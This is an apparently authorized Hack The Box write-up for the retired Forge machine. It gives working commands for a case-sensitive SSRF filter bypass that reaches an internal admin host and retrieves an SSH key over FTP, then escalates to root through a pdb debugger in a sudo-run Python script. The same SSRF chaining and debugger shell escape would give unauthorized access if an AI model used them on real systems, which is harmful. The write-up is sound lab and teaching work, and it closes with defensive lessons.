root@kali:~$ cat hackthebox/machines/forge.md
Hack The Box — Forge
Forge chains a case-sensitive SSRF bypass into an internal admin portal, uses FTP to recover an SSH key, then abuses a sudo-run Python debugger for root.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Medium
- Operating system
- Linux
- Solved
- 2 Dec 2026
- Published
- 2 December 2026
This write-up documents an authorized Hack The Box lab. Forge was retired on 22 January 2022. Flag values, session-specific IP addresses, and the recovered SSH private key are omitted. The retired lab’s FTP credential is shown because it is needed to reproduce the attack path.
Executive summary
Forge’s public image gallery can fetch an image from a user-supplied URL and stores the response without checking whether it is an image. This gives us a server-side request forgery (SSRF) read primitive. A case-sensitive hostname filter can be bypassed to reach an admin virtual host that only accepts requests from localhost. Its announcements disclose FTP credentials and another URL-fetching endpoint that supports FTP. Chaining the two endpoints retrieves user’s SSH private key from an otherwise firewalled FTP server. Once connected over SSH, user can run a Python management script with sudo. A malformed menu choice triggers pdb.post_mortem() in the root process, and the debugger can start a root shell.
Target information
| Item | Value |
|---|---|
| Target | Forge |
| Platform | Hack The Box |
| Difficulty | Medium |
| Operating system | Linux |
| Publication policy | Retired, 22 January 2022 |
| Main weaknesses | SSRF filter bypass, internal FTP file read, interactive debugger in a sudo-run script |
Start your own Forge instance and connect Kali to the HTB VPN. The machine IP can change between sessions. In Kali, set your current IP and map the hostnames used by the web server:
TARGET_IP='<YOUR_HTB_TARGET_IP>'
printf '%s forge.htb admin.forge.htb\n' "$TARGET_IP" | sudo tee -a /etc/hosts
Enumeration
Scan all TCP ports, then identify the services and run Nmap’s default scripts:
nmap -T4 -sCV -p- "$TARGET_IP"
The observed scan showed:
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
Port 80 redirects to http://forge.htb. Port 21 being filtered means a direct connection from Kali will not reach FTP; it does not mean the service is absent. Browse to http://forge.htb and inspect the Upload from URL feature. It returns an /uploads/<random-id> link after fetching a URL. The endpoint stores HTML and other non-image content too. If the browser tries to render the result as an image, request the generated link with curl to see the raw response.
Find the admin virtual host
Enumerate virtual hosts by changing the HTTP Host header:
ffuf -u http://forge.htb/ \
-H 'Host: FUZZ.forge.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-ac
This reveals admin.forge.htb. A direct request confirms the access boundary:
curl -s http://admin.forge.htb/
# Only localhost is allowed!
The admin site is still reachable from the Forge server. The public URL uploader can make that request on our behalf.
Initial access
Read the internal admin portal with SSRF
The public uploader rejects a URL containing lowercase admin.forge.htb, but its check is case-sensitive. DNS hostnames are case-insensitive, so ADMIN.FORGE.HTB resolves to the same virtual host while bypassing the application filter. To make repeated requests reproducible, define this helper in your Kali shell:
forge_fetch() {
local response uploaded_url
response=$(curl -fsS 'http://forge.htb/upload' \
--data-urlencode "url=$1" \
--data 'remote=1') || return
uploaded_url=$(printf '%s' "$response" \
| grep -oE 'http://forge\.htb/uploads/[[:alnum:]]+' \
| head -n 1)
if [ -z "$uploaded_url" ]; then
printf '%s\n' "$response" >&2
return 1
fi
curl -fsS "$uploaded_url"
}
The first request should return the admin portal HTML. The next one reads its announcements:
forge_fetch 'http://ADMIN.FORGE.HTB/'
forge_fetch 'http://ADMIN.FORGE.HTB/announcements'
The announcements disclose the internal FTP credential user:heightofsecurity123!. They also state that the admin site’s /upload endpoint accepts ftp, ftps, http, and https, and can be scripted through its u query parameter. We now have a way to ask the public uploader to fetch the admin endpoint, which in turn fetches from FTP.
Read the SSH key through the internal FTP service
The public uploader accepts only HTTP(S) URLs, so sending it an ftp:// URL directly fails. Give it an HTTP URL pointing to the admin uploader and put the FTP URL in u:
forge_fetch 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/'
The FTP listing shows user.txt, indicating that FTP starts in user’s home directory. A trailing slash on the FTP directory URL matters for the listing. Request .ssh/id_rsa from the same directory and keep the result only on your Kali machine:
forge_fetch 'http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa' > id_rsa
head -n 1 id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
chmod 600 id_rsa
ssh -i id_rsa user@forge.htb
If id_rsa contains HTML or an error instead of the OpenSSH header, inspect the uploader’s returned response before attempting SSH. The FTP password is for the FTP fetch; SSH on this box requires the key.
Privilege escalation
Check user’s sudo rights and read the permitted script:
sudo -l
cat /opt/remote-manage.py
The sudo rule permits NOPASSWD: /usr/bin/python3 /opt/remote-manage.py. The script binds to a random port on 127.0.0.1, asks for a password, and converts the next menu input with int(...). Its exception handler calls pdb.post_mortem(e.__traceback__). Because the script is launched through sudo, that interactive debugger runs as root.
Use two SSH terminals as user. In terminal A, start the script and note the displayed port:
sudo /usr/bin/python3 /opt/remote-manage.py
# Listening on localhost:<PORT>
In terminal B, connect to that port, enter the password found in the script, and send a letter instead of a menu number:
nc 127.0.0.1 <PORT>
# Enter the secret passsword: secretadminpassword
# At the numbered menu, enter: x
The x raises a ValueError during int(...). Return to terminal A, where the script now shows a (Pdb) prompt. Enter Python’s interactive console and spawn a shell:
(Pdb) interact
>>> import pty; pty.spawn('/bin/bash')
Confirm the effective identity with id. The root flag is at /root/root.txt; its value is intentionally excluded from this write-up.
What did not work
- Connecting to FTP from Kali: the firewall filters port 21, so access must originate from the target through SSRF.
- Requesting lowercase
admin.forge.htbthrough the public uploader: its blacklist rejects that string. Changing the hostname’s case bypasses that check. - Supplying
ftp://directly to the public uploader: that endpoint supports HTTP(S) only. The admin uploader adds FTP support. - Using the FTP password for SSH: SSH requires public-key authentication. The FTP path supplies the private key.
Attack path
- Enumerate
forge.htband discover the internal-onlyadmin.forge.htbvirtual host. - Use the public image uploader and a case-changed hostname to read
/announcementsthrough SSRF. - Chain the public uploader to the admin FTP-capable uploader and recover
user’s SSH key. - Log in over SSH, trigger an exception in the sudo-run Python script, and execute a shell through root’s
pdbsession.
Lessons learned
- A URL fetched by the server can cross network boundaries even when the response is mislabeled as an image. Validate the final destination and allowed schemes, including after redirects and DNS resolution.
- Case-sensitive string blacklists are an unreliable way to enforce hostname restrictions. Normalize hostnames and apply an allowlist before and after resolution.
- Never expose an interactive debugger from a privileged process. Catch and log expected errors without handing users a Python prompt with root privileges.